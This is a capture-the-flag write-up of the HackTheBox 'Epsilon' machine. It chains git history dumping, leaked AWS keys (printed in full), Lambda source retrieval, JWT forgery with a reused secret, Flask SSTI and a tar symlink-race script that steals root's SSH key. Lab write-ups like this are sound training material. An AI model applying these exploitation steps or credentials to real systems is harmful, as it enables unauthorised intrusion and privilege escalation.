HTB: Epsilon Writeup

Epsilon - HackTheBox Writeup

Machine Information

AttributeDetails
NameEpsilon
OSLinux
DifficultyMedium
PointsN/A
Release DateN/A
IP AddressN/A
Authord3vn0mi

Machine Rating

⭐⭐⭐☆☆ (3/5)

Difficulty Assessment:

  • Enumeration: ⭐⭐⭐⭐☆
  • Real-world: ⭐⭐⭐⭐⭐
  • CVE: ⭐☆☆☆☆
  • CTF-like: ⭐⭐⭐☆☆

Summary

Epsilon is a cloud-flavored Linux box built around a chain of secret reuse mistakes rather than a single flashy exploit. An exposed .git directory on the webserver leaks AWS credentials straight out of the commit history; those credentials unlock a custom AWS Lambda endpoint whose function source contains a hardcoded secret that turns out to be reused as the Flask application’s JWT signing key. Forging an admin cookie exposes an authenticated order form vulnerable to Server-Side Template Injection, which gives shell as a low-privileged user. Root is a classic but satisfying tar -h symlink race hidden inside a scheduled backup script.

TL;DR: Port 80 .git exposure → git-dumper + git log → leaked AWS access keys → aws lambda get-function (v2.23.6 against cloud.epsilon.htb) → download costume_shop_v1 source → hardcoded secret RrXCv`mrNe!K!4+5`wYq → forge HS256 JWT {"username":"admin"} → bypass /home auth → SSTI in /order costume param → RCE as tom → root cron backup.sh runs tar -chvf on world-writable /opt/backups/checksum → symlink race to /root/.ssh/id_rsa → extract from backup tarball → ssh root@localhost → root.


Reconnaissance

Port Scanning

Terminal window
nmap -sC -sV -T4 -p- <TARGET_IP>

Results:

  • 22/tcp — SSH
  • 80/tcp — HTTP, returns 403 Forbidden at the root
  • 5000/tcp — HTTP, Flask login page

Service Enumeration

Port 80 gave a bare 403 Forbidden with no obvious content — a sign that content exists but directory listing/index access is blocked, so the next step was directory/file enumeration rather than treating the port as dead.

Port 5000 served a Flask-rendered login form. Credential brute-forcing and injection attempts against it were not productive — the form itself wasn’t the way in.

Enumerating port 80 turned up an exposed .git directory:

Terminal window
# git-dumper pulls the full repo from an exposed .git/ endpoint
pip3 install git-dumper
git-dumper http://<TARGET_IP>/.git ./epsilon_git
cd epsilon_git
git log --all

Because .git/ was reachable but directory listing was forbidden, the webserver was misconfigured to serve the version-control metadata itself while blocking normal browsing — a classic “the 403 hides the vhost’s files, not its history” trap. git-dumper reconstructs the working tree object-by-object from the exposed .git internals without needing the index or listing to work.

Vulnerability Assessment

  1. Exposed .git directory on port 80 — full commit history retrievable, including anything ever committed and later “removed.”
  2. Secrets committed to git history — the first commit contained AWS access/secret keys that a later commit had scrubbed from the working tree but not from history.
  3. Custom Lambda source contains a hardcoded secret reused elsewhere in the stack.
  4. Server-Side Template Injection in the authenticated /order endpoint (Flask render_template_string on unsanitized user input).
  5. Insecure cron backup scripttar -h on a world-writable file, subject to a symlink race.

Initial Foothold

Git History → AWS Credentials

Walking the dumped repo’s history (not just HEAD) surfaced the AWS keys in the very first commit:

Terminal window
git log -p --all | grep -iE "aws_access_key|aws_secret"
# leaked:
# AWS Access Key ID: AQLA5M37BDN6FJP76TDC
# AWS Secret Access Key: OsK0o/glWwcjk2U3vVEowkvq5t4EiIreB+WdFo1A

This works because git rm / later commits only remove a file from the current tree — the blob is still reachable via any earlier commit unless history is rewritten (filter-branch/BFG) and force-pushed. An exposed .git directory hands over that entire history for free.

AWS Lambda Enumeration

The repo’s source referenced a non-standard Lambda endpoint (cloud.epsilon.htb), so the leaked keys were configured against that custom endpoint rather than real AWS:

Terminal window
# aws-cli v1 returned HTTP 500 against this custom endpoint — v2.23.6 was required
curl "https://awscli.amazonaws.com/awscli-exe-linux-x86_64-2.23.6.zip" -o awscliv2.zip
unzip awscliv2.zip
sudo ./aws/install --update
aws configure
# AWS Access Key ID: AQLA5M37BDN6FJP76TDC
# AWS Secret Access Key: OsK0o/glWwcjk2U3vVEowkvq5t4EiIreB+WdFo1A
# Default region name: us-east-1
aws --endpoint-url http://cloud.epsilon.htb lambda list-functions
aws --endpoint-url http://cloud.epsilon.htb lambda get-function --function-name costume_shop_v1

The get-function call returns a presigned Code.Location URL for the deployed function’s zipped source:

Terminal window
wget -O code.zip "<Code.Location URL from get-function output>"
unzip code.zip

Inside was lambda_function.py, which contained a hardcoded secret:

secret = 'RrXCv`mrNe!K!4+5`wYq'

Auth Bypass via Secret Reuse

The Flask app on port 5000 signs its auth cookie with jwt.encode({...}, secret, algorithm="HS256"). The secret in the Flask source itself was masked/unavailable directly, but the same secret string turned up hardcoded in the Lambda function — a case of one secret backing two unrelated services (API auth and app session signing). Forging a token with it worked:

import jwt
token = jwt.encode({"username": "admin"}, "RrXCv`mrNe!K!4+5`wYq", algorithm="HS256")
print(token)

Setting this value as the auth cookie granted access to /home, past the login form entirely — no valid Flask credentials were ever needed.

SSTI → RCE as tom

The authenticated /order endpoint takes a costume form field and feeds it into render_template_string() without sanitization — textbook Flask/Jinja2 SSTI. Confirming the injection:

costume={{7*7}}

returned 49 in the rendered order confirmation, proving server-side expression evaluation. Escalating this to command execution via Jinja2’s global namespace object chain led to remote code execution on the box, landing a shell as the user tom. An SSH key was then written to tom’s authorized_keys for a stable, non-webshell foothold.

Terminal window
cat /home/tom/user.txt

User flag: <redacted>

Working notes: the jump host’s /tmp was completely full during this engagement, so all staging/tooling ran out of /dev/shm and the home directory instead. A stray leftover dis.py in /dev/shm was also shadowing Python’s stdlib dis module on import — scripts had to be launched from a clean working directory to avoid that collision.


Privilege Escalation

With a shell as tom, process/cron enumeration revealed a root-owned scheduled job:

Terminal window
cat /usr/bin/backup.sh
#!/bin/bash
file=`date +%N`
/usr/bin/rm -rf /opt/backups/*
/usr/bin/tar -cvf "/opt/backups/$file.tar" /var/www/app/
sha1sum "/opt/backups/$file.tar" | cut -d ' ' -f1 > /opt/backups/checksum
sleep 5
check_file=`date +%N`
/usr/bin/tar -chvf "/var/backups/web_backups/${check_file}.tar" /opt/backups/checksum "/opt/backups/$file.tar"
/usr/bin/rm -rf /opt/backups/*

The critical line is the second tar invocation: -h tells tar to dereference symlinks — it archives whatever a symlink points to, not the symlink itself. /opt/backups/checksum is written world-writable by the same script, and there’s a 5-second window (the sleep 5) between the checksum file being created and the second tar -chvf consuming it. Swapping that file for a symlink during the window makes root’s own cron job tar up an arbitrary file readable by root — including /root/.ssh/id_rsa.

Terminal window
# race the 5-second window between checksum creation and the second tar -h run
while true; do
if [ -e /opt/backups/checksum ]; then
rm -f /opt/backups/checksum
ln -sf /root/.ssh/id_rsa /opt/backups/checksum
fi
done

Once a run of backup.sh landed the symlink inside the window, the resulting archive in /var/backups/web_backups/ contained root’s private key instead of the checksum text:

Terminal window
# pull the freshest tarball produced after the symlink swap landed
cp /var/backups/web_backups/<latest>.tar /tmp
cd /tmp && tar -xvf <latest>.tar
cat opt/backups/checksum # this is now root's id_rsa, not a sha1sum
chmod 600 opt/backups/checksum
ssh -i opt/backups/checksum root@localhost
Terminal window
cat /root/root.txt

Root flag: <redacted>


Attack Chain Summary

Exposed .git on :80 → git-dumper + git log (full history) → leaked AWS keys
→ aws-cli v2.23.6 vs cloud.epsilon.htb → lambda get-function costume_shop_v1
→ hardcoded secret in lambda_function.py
→ forge HS256 JWT {"username":"admin"} → bypass /home auth (:5000)
→ SSTI in /order "costume" param → RCE as tom → user.txt
→ root cron backup.sh: tar -chvf follows symlinks on world-writable checksum
→ win 5s race, symlink checksum → /root/.ssh/id_rsa
→ extract from /var/backups/web_backups tarball → ssh root@localhost → root.txt

Tools Used

ToolPurpose
nmapPort/service discovery
git-dumperReconstruct exposed .git repo from the webserver
git log -p --allWalk full commit history for scrubbed secrets
aws-cli (v2.23.6)Enumerate/download the custom Lambda function source
python3 + PyJWTForge the HS256 auth cookie
Burp Suite (implied via manual /order POSTs)Test and deliver the SSTI payload
sshFoothold persistence (tom) and final root login via extracted key
tarBoth the vulnerable primitive and the tool used to extract the winning backup

Key Learnings

Techniques Practiced

  • Enumerating full git history (not just HEAD) from an exposed .git/ directory to recover “deleted” secrets
  • Pivoting leaked cloud credentials against a non-standard/custom Lambda endpoint with a pinned aws-cli version
  • Recognizing secret reuse across unrelated services (API Gateway auth vs. Flask session signing) to forge a JWT
  • Identifying and exploiting Flask/Jinja2 SSTI via render_template_string on unsanitized input
  • Winning a tar -h symlink-race condition against a timed cron job to exfiltrate root’s SSH key

Lessons Learned

  1. Git history is forever unless explicitly rewritten and force-pushed — scrubbing a secret from a later commit does nothing if the .git directory itself stays exposed.
  2. Reusing the same secret across systems with different trust boundaries (a Lambda API secret and a web app’s session-signing key) turns a leak in one into a full auth bypass in the other.
  3. Any user-controlled string reaching render_template_string (or equivalent template-eval sinks) is a code-execution primitive, not just an XSS risk — treat template rendering as a sink requiring the same rigor as eval.
  4. tar -h/--dereference inside a privileged cron job is dangerous the moment any path it touches is writable by a lower-privileged user — combine that with a time gap (sleep) and it becomes a reliable race, not a theoretical one.

Proof of Ownership

User Flag: <redacted>
Root Flag: <redacted>

References

  • MrR3boot, Epsilon — official HackTheBox writeup (Document No. D22.100.149, HackTheBox Ltd.), used here only to corroborate why the git/Lambda/SSTI/tar-symlink chain works; all IPs, command output, credentials, and specific values above are from this engagement’s own solve, not the reference.